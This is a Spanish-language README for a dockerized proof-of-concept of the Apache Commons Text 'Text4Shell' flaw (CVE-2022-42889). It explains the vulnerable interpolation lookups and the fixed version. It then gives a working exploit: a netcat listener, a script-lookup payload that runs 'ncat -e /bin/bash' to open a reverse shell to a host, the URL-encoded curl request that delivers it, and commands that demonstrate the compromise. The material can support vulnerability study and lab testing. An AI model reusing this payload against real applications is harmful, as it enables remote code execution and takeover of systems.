
Una aplicación dockerizada simple que muestra cómo explotar la vulnerabilidad CVE-2022-42889.
Prueba de concepto para la vulnerabilidad de Apache commons-text CVE-2022-42889.
Apache Commons Text realiza interpolación de variables, permitiendo que las propiedades se evalúen y expandan dinámicamente. El formato estándar para la interpolación es "${prefix:name}", donde "prefix" se utiliza para localizar una instancia de org.apache.commons.text.lookup.StringLookup que realiza la interpolación. A partir de la versión 1.5 y hasta la 1.9, el conjunto de instancias Lookup por defecto incluía interpoladores que podían resultar en ejecución de código arbitrario o contacto con servidores remotos. Estos lookup son: - "script" - ejecuta expresiones usando el motor de ejecución de scripts de la JVM (javax.script) - "dns" - resuelve registros DNS - "url" - carga valores desde URLs, incluyendo desde servidores remotos Las aplicaciones que usan los valores predeterminados de interpolación en las versiones afectadas pueden ser vulnerables a ejecución remota de código o contacto no intencional con servidores remotos si se usan valores de configuración no confiables.
Apache Commons Text Versión 1.5 a 1.9
CVE-2022-42889-POC :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
El ataque se puede realizar pasando una cadena "${prefix:name}" donde el prefijo es el lookup mencionado: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
Si puede ver el archivo hacked.txt en la Terminal Pestaña 3 después del comando ls, el ataque se ha ejecutado.

Se recomienda a los usuarios actualizar a Apache Commons Text 1.10.0, que deshabilita los interpoladores problemáticos de forma predeterminada.